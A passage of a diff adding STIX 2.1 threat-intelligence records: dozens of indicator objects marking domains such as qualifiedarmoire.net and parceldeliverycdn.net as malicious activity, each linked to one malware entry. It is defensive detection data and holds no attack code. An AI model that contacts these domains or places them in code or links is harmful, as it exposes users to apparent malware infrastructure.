"modified": "2023-03-29T12:58:43.990593Z", + "relationship_type": "indicates", + "source_ref": "indicator--fa1b5870-74d0-4191-a886-7f44f57cde17", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--4c2e563a-f88f-4947-a724-c974457cb3a5", + "created": "2023-03-29T12:58:43.990763Z", + "modified": "2023-03-29T12:58:43.990763Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='qualifiedarmoire.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.990763Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--7e41c335-6a38-4f28-9a57-e068e05a6ab0", + "created": "2023-03-29T12:58:43.991406Z", + "modified": "2023-03-29T12:58:43.991406Z", + "relationship_type": "indicates", + "source_ref": "indicator--4c2e563a-f88f-4947-a724-c974457cb3a5", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--1c259453-02bb-482e-9816-108f732a919f", + "created": "2023-03-29T12:58:43.991579Z", + "modified": "2023-03-29T12:58:43.991579Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='libriworld.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.991579Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--e40605e3-47a2-40f0-b2ce-d2a8f137605d", + "created": "2023-03-29T12:58:43.992185Z", + "modified": "2023-03-29T12:58:43.992185Z", + "relationship_type": "indicates", + "source_ref": "indicator--1c259453-02bb-482e-9816-108f732a919f", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--ab3e7e81-5831-4027-ad41-1a0da953f41f", + "created": "2023-03-29T12:58:43.992356Z", + "modified": "2023-03-29T12:58:43.992356Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='huntressutilize.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.992356Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--0dc8b8c4-cda4-40d4-af26-7bd8d921afbb", + "created": "2023-03-29T12:58:43.992954Z", + "modified": "2023-03-29T12:58:43.992954Z", + "relationship_type": "indicates", + "source_ref": "indicator--ab3e7e81-5831-4027-ad41-1a0da953f41f", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--b08f24ae-ddc7-4fe7-879a-c9c117a4cf4f", + "created": "2023-03-29T12:58:43.993124Z", + "modified": "2023-03-29T12:58:43.993124Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='refinishrename.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.993124Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--eef5d57f-c8f0-4b12-975a-d89ec9e151cc", + "created": "2023-03-29T12:58:43.993777Z", + "modified": "2023-03-29T12:58:43.993777Z", + "relationship_type": "indicates", + "source_ref": "indicator--b08f24ae-ddc7-4fe7-879a-c9c117a4cf4f", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--86b910e2-b634-47ea-ac75-6c7125ca3743", + "created": "2023-03-29T12:58:43.993948Z", + "modified": "2023-03-29T12:58:43.993948Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='salamifrostlike.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.993948Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--bf15220f-cac2-4274-a194-7e1b54030c82", + "created": "2023-03-29T12:58:43.99455Z", + "modified": "2023-03-29T12:58:43.99455Z", + "relationship_type": "indicates", + "source_ref": "indicator--86b910e2-b634-47ea-ac75-6c7125ca3743", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--fcf22b0f-8fa8-427a-aeb3-6190f2eeea42", + "created": "2023-03-29T12:58:43.994719Z", + "modified": "2023-03-29T12:58:43.994719Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='divinehuntbegins.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.994719Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--522291fb-caf6-4812-90a0-6e001409c195", + "created": "2023-03-29T12:58:43.995323Z", + "modified": "2023-03-29T12:58:43.995323Z", + "relationship_type": "indicates", + "source_ref": "indicator--fcf22b0f-8fa8-427a-aeb3-6190f2eeea42", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--fdf4983f-6ec1-418f-ace7-f0dfe873762d", + "created": "2023-03-29T12:58:43.995491Z", + "modified": "2023-03-29T12:58:43.995491Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='finisherrebuilt.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.995491Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--2a7ee8d8-712b-48f0-9840-23144cb44103", + "created": "2023-03-29T12:58:43.996207Z", + "modified": "2023-03-29T12:58:43.996207Z", + "relationship_type": "indicates", + "source_ref": "indicator--fdf4983f-6ec1-418f-ace7-f0dfe873762d", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--5855454f-1146-4dd7-b7b2-476bd1b00cfa", + "created": "2023-03-29T12:58:43.99638Z", + "modified": "2023-03-29T12:58:43.99638Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='natureviral.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.99638Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--f771419b-b4ac-40fe-aa60-ad15344899b0", + "created": "2023-03-29T12:58:43.996977Z", + "modified": "2023-03-29T12:58:43.996977Z", + "relationship_type": "indicates", + "source_ref": "indicator--5855454f-1146-4dd7-b7b2-476bd1b00cfa", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--6f60a489-447c-4d6e-b3af-f36e89d1c76c", + "created": "2023-03-29T12:58:43.997151Z", + "modified": "2023-03-29T12:58:43.997151Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='hughwindows.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.997151Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--ad021a31-d29d-48da-8e4f-eaa08b81d176", + "created": "2023-03-29T12:58:43.997753Z", + "modified": "2023-03-29T12:58:43.997753Z", + "relationship_type": "indicates", + "source_ref": "indicator--6f60a489-447c-4d6e-b3af-f36e89d1c76c", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--79c6624b-d20d-44fe-91a2-e1b6b9e18cf4", + "created": "2023-03-29T12:58:43.997922Z", + "modified": "2023-03-29T12:58:43.997922Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='ultimauscita.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.997922Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--0cda6263-a83b-45dc-b166-0a97a4f92930", + "created": "2023-03-29T12:58:43.998516Z", + "modified": "2023-03-29T12:58:43.998516Z", + "relationship_type": "indicates", + "source_ref": "indicator--79c6624b-d20d-44fe-91a2-e1b6b9e18cf4", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--4ee63026-2ea0-4119-848a-b9ee112fad79", + "created": "2023-03-29T12:58:43.998684Z", + "modified": "2023-03-29T12:58:43.998684Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='dailymusic.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.998684Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--46a0919e-769e-4599-90cc-ae6769f3f8e9", + "created": "2023-03-29T12:58:43.999277Z", + "modified": "2023-03-29T12:58:43.999277Z", + "relationship_type": "indicates", + "source_ref": "indicator--4ee63026-2ea0-4119-848a-b9ee112fad79", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--b98860f0-c9c7-4554-b102-799e429f3b84", + "created": "2023-03-29T12:58:43.999445Z", + "modified": "2023-03-29T12:58:43.999445Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='curdlefresh.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.999445Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--b1dbdef5-5591-41bf-a7d6-f18d147ae33c", + "created": "2023-03-29T12:58:44.00004Z", + "modified": "2023-03-29T12:58:44.00004Z", + "relationship_type": "indicates", + "source_ref": "indicator--b98860f0-c9c7-4554-b102-799e429f3b84", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--06e2719d-6785-4247-afb4-195a74266e28", + "created": "2023-03-29T12:58:44.000208Z", + "modified": "2023-03-29T12:58:44.000208Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='simplytitanic.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.000208Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--14363d4c-4bd7-404f-9297-219fb8e38e31", + "created": "2023-03-29T12:58:44.000807Z", + "modified": "2023-03-29T12:58:44.000807Z", + "relationship_type": "indicates", + "source_ref": "indicator--06e2719d-6785-4247-afb4-195a74266e28", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--a193525f-e79d-4dd9-b242-90503a3cca99", + "created": "2023-03-29T12:58:44.000975Z", + "modified": "2023-03-29T12:58:44.000975Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='gamesauciness.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.000975Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--80928d95-3b75-4fdb-bc40-1ab645c437b0", + "created": "2023-03-29T12:58:44.00158Z", + "modified": "2023-03-29T12:58:44.00158Z", + "relationship_type": "indicates", + "source_ref": "indicator--a193525f-e79d-4dd9-b242-90503a3cca99", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--e19c3f7a-0362-48c2-ae81-aab06ab7577b", + "created": "2023-03-29T12:58:44.00175Z", + "modified": "2023-03-29T12:58:44.00175Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='ritardatario.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.00175Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--33000f50-fda7-4f7d-98f3-580142f5398c", + "created": "2023-03-29T12:58:44.002347Z", + "modified": "2023-03-29T12:58:44.002347Z", + "relationship_type": "indicates", + "source_ref": "indicator--e19c3f7a-0362-48c2-ae81-aab06ab7577b", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--2920c5be-30b7-4092-833b-eea669ad66e0", + "created": "2023-03-29T12:58:44.002514Z", + "modified": "2023-03-29T12:58:44.002514Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='carryunhidden.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.002514Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--439dd554-a2b4-4eaa-8160-e76f2417efdb", + "created": "2023-03-29T12:58:44.003226Z", + "modified": "2023-03-29T12:58:44.003226Z", + "relationship_type": "indicates", + "source_ref": "indicator--2920c5be-30b7-4092-833b-eea669ad66e0", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--3c19c568-cfcc-482e-80bd-caeefb20d113", + "created": "2023-03-29T12:58:44.003399Z", + "modified": "2023-03-29T12:58:44.003399Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='spewcupid.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.003399Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--e2f71346-1f54-4ba9-ba55-a3a5555231fa", + "created": "2023-03-29T12:58:44.003992Z", + "modified": "2023-03-29T12:58:44.003992Z", + "relationship_type": "indicates", + "source_ref": "indicator--3c19c568-cfcc-482e-80bd-caeefb20d113", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--8538da25-42ec-4544-99b8-d06e7b281cb2", + "created": "2023-03-29T12:58:44.00416Z", + "modified": "2023-03-29T12:58:44.00416Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='onerightdecision.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.00416Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--b2e54d41-cc61-4dea-ad40-66d695cf2907", + "created": "2023-03-29T12:58:44.004758Z", + "modified": "2023-03-29T12:58:44.004758Z", + "relationship_type": "indicates", + "source_ref": "indicator--8538da25-42ec-4544-99b8-d06e7b281cb2", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--63c2dcab-3d60-4afd-b1a5-b6451742d1e7", + "created": "2023-03-29T12:58:44.004925Z", + "modified": "2023-03-29T12:58:44.004925Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='parceldeliverycdn.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.004925Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--9977afcc-efd7-48e1-a9dc-e88143ad1858", + "created": "2023-03-29T12:58:44.00553Z", + "modified": "2023-03-29T12:58:44.00553Z", + "relationship_type": "indicates", + "source_ref": "indicator--63c2dcab-3d60-4afd-b1a5-b6451742d1e7", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--82d4ddee-5501-43e2-b9e1-af80523a30b9", + "created": "2023-03-29T12:58:44.005703Z", + "modified": "2023-03-29T12:58:44.005703Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='festereasiness.link']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.005703Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--d1085bc8-8617-411f-97c4-953441d48d74", + "created": "2023-03-29T12:58:44.006307Z", + "modified": "2023-03-29T12:58:44.006307Z", + "relationship_type": "indicates", + "source_ref": "indicator--82d4ddee-5501-43e2-b9e1-af80523a30b9", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--e23721fc-c185-4b88-bbf9-7a306f2906f4", + "created": "2023-03-29T12:58:44.006476Z", + "modified": "2023-03-29T12:58:44.006476Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='firstyell.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.006476Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--407aa6d2-1dd0-41f8-8891-b2c287462f87", + "created": "2023-03-29T12:58:44.00707Z", + "modified": "2023-03-29T12:58:44.00707Z", + "relationship_type": "indicates", + "source_ref": "indicator--e23721fc-c185-4b88-bbf9-7a306f2906f4", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--175223e6-0472-4984-9c95-25268c54535c", + "created": "2023-03-29T12:58:44.00724Z", + "modified": "2023-03-29T12:58:44.00724Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='oversizedfavorable.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.00724Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--4de77806-22a2-4e97-a459-30b5274749a2", + "created": "2023-03-29T12:58:44.007881Z", + "modified": "2023-03-29T12:58:44.007881Z", + "relationship_type": "indicates", + "source_ref": "indicator--175223e6-0472-4984-9c95-25268c54535c", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--1acec88a-2f7e-4590-8775-ece9cb569adb", + "created": "2023-03-29T12:58:44.008057Z", + "modified": "2023-03-29T12:58:44.008057Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='steelware.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.008057Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--b71352f8-ffc6-4ca7-90ab-6b2f8bcfbd99", + "created": "2023-03-29T12:58:44.008655Z", + "modified": "2023-03-29T12:58:44.008655Z", + "relationship_type": "indicates", + "source_ref": "indicator--1acec88a-2f7e-4590-8775-ece9cb569adb", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--772658bb-a933-4c93-b962-8a99df23768d", + "created": "2023-03-29T12:58:44.008823Z", + "modified": "2023-03-29T12:58:44.008823Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='runtimeshow.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.008823Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--d6083541-d3ea-4993-aeab-dee81d3740b0", + "created": "2023-03-29T12:58:44.00942Z", + "modified": "2023-03-29T12:58:44.00942Z", + "relationship_type": "indicates", + "source_ref": "indicator--772658bb-a933-4c93-b962-8a99df23768d", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--e39b4ab4-22e8-4e59-8381-72546a638f8d", + "created": "2023-03-29T12:58:44.009599Z", + "modified": "2023-03-29T12:58:44.009599Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='kelpwrecking.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.009599Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--4636a9dd-883f-4621-808b-7d48679ef70d", + "created": "2023-03-29T12:58:44.010609Z", + "modified": "2023-03-29T12:58:44.010609Z", + "relationship_type": "indicates", + "source_ref": "indicator--e39b4ab4-22e8-4e59-8381-72546a638f8d", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--dc1ccdac-d792-428e-9d2c-a82ddf074c96", + "created": "2023-03-29T12:58:44.010786Z", + "modified": "2023-03-29T12:58:44.010786Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='mondodelcibo.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.010786Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--60e1b03b-497c-4420-8e21-9b800548d03c", + "created": "2023-03-29T12:58:44.011395Z", + "modified": "2023-03-29T12:58:44.011395Z", + "relationship_type": "indicates", + "source_ref": "indicator--dc1ccdac-d792-428e-9d2c-a82ddf074c96", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--80ed214a-be9f-4f47-b76c-c7413c521712", + "created": "2023-03-29T12:58:44.011565Z", + "modified": "2023-03-29T12:58:44.011565Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='hexagonbuccaneer.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.011565Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--faa6492f-2876-4401-aa29-ed1851fb146a", + "created": "2023-03-29T12:58:44.012168Z", + "modified": "2023-03-29T12:58:44.012168Z", + "relationship_type": "indicates", + "source_ref": "indicator--80ed214a-be9f-4f47-b76c-c7413c521712", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--43cc118e-e641-444d-9d29-3b5ee480cbc4", + "created": "2023-03-29T12:58:44.012338Z", + "modified": "2023-03-29T12:58:44.012338Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='turretplatter.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.012338Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--39937d61-b77b-42af-9412-2445c4b358d5", + "created": "2023-03-29T12:58:44.012938Z", + "modified": "2023-03-29T12:58:44.012938Z", + "relationship_type": "indicates", + "source_ref": "indicator--43cc118e-e641-444d-9d29-3b5ee480cbc4", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--18807018-b8c2-436a-a344-271500a2831e", + "created": "2023-03-29T12:58:44.013107Z", + "modified": "2023-03-29T12:58:44.013107Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='defrostsmugness.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.013107Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--da25de2d-a659-4fe9-847b-fe21665328a2", + "created": "2023-03-29T12:58:44.013713Z", + "modified": "2023-03-29T12:58:44.013713Z", + "relationship_type": "indicates", + "source_ref": "indicator--18807018-b8c2-436a-a344-271500a2831e", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--6e6f3b0d-5888-4341-9bfc-49fa05bda729", + "created": "2023-03-29T12:58:44.013882Z", + "modified": "2023-03-29T12:58:44.013882Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='temnpo.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.013882Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--536ef932-c619-4013-a6ed-9345c4d0672b", + "created": "2023-03-29T12:58:44.014471Z", + "modified": "2023-03-29T12:58:44.014471Z", + "relationship_type": "indicates", + "source_ref": "indicator--6e6f3b0d-5888-4341-9bfc-49fa05bda729", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--de7babf0-5a3e-44df-8123-85a815cf9991", + "created": "2023-03-29T12:58:44.014638Z", + "modified": "2023-03-29T12:58:44.014638Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='upstagedown.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.014638Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--5eee1950-c06f-4a35-8395-37a288de1e34", + "created": "2023-03-29T12:58:44.015231Z", + "modified": "2023-03-29T12:58:44.015231Z", + "relationship_type": "indicates", + "source_ref": "indicator--de7babf0-5a3e-44df-8123-85a815cf9991", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--cd621212-52fe-49aa-bdd2-b6fe206d2d2b", + "created": "2023-03-29T12:58:44.015399Z", + "modified": "2023-03-29T12:58:44.015399Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='navepersa.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.015399Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--1b3697c6-0092-4042-98eb-1ff91c4173f9", + "created": "2023-03-29T12:58:44.015993Z", + "modified": "2023-03-29T12:58:44.015993Z", + "relationship_type": "indicates", + "source_ref": "indicator--cd621212-52fe-49aa-bdd2-b6fe206d2d2b", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--fd90eca0-3834-4c6a-84f5-2b2562ea4b57", + "created": "2023-03-29T12:58:44.016161Z", + "modified": "2023-03-29T12:58:44.016161Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='polygraphstructure.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.016161Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--353313cb-519b-4796-a754-f84be3ccb33b", + "created": "2023-03-29T12:58:44.01677Z", + "modified": "2023-03-29T12:58:44.01677Z", + "relationship_type": "indicates", + "source_ref": "indicator--fd90eca0-3834-4c6a-84f5-2b2562ea4b57", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--da31fe2f-6b8d-45d0-9e8c-0a7ed4df4d61", + "created": "2023-03-29T12:58:44.016938Z", + "modified": "2023-03-29T12:58:44.016938Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='basicallyhandrail.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.016938Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--718efaa7-330d-42c8-b7e2-7e6535bd8706", + "created": "2023-03-29T12:58:44.017544Z", + "modified": "2023-03-29T12:58:44.017544Z", + "relationship_type": "indicates", + "source_ref": "indicator--da31fe2f-6b8d-45d0-9e8c-0a7ed4df4d61", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--177547d6-00ce-4d62-ba78-ca482b4dfb9c", + "created": "2023-03-29T12:58:44.017713Z", + "modified": "2023-03-29T12:58:44.017713Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='crudenessisolating.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.017713Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--e9935e44-53fc-4490-8925-63641fba1972", + "created": "2023-03-29T12:58:44.018453Z", + "modified": "2023-03-29T12:58:44.018453Z", + "relationship_type": "indicates", + "source_ref": "indicator--177547d6-00ce-4d62-ba78-ca482b4dfb9c", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--833af1d6-97e3-4b25-9aa3-011dbdfa02dd", + "created": "2023-03-29T12:58:44.018629Z", + "modified": "2023-03-29T12:58:44.018629Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='tinworkmonologue.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.018629Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--422f1380-ab96-41a0-9b98-1e536419b6ad", + "created": "2023-03-29T12:58:44.019234Z", + "modified": "2023-03-29T12:58:44.019234Z", + "relationship_type": "indicates", + "source_ref": "indicator--833af1d6-97e3-4b25-9aa3-011dbdfa02dd", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--ed4b141c-59cd-46ee-8eb3-893858b3464f", + "created": "2023-03-29T12:58:44.019403Z", + "modified": "2023-03-29T12:58:44.019403Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='knapsackdenture.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.019403Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--d4357e40-9d7e-4654-a758-5ee34049a3cf", + "created": "2023-03-29T12:58:44.020001Z", + "modified": 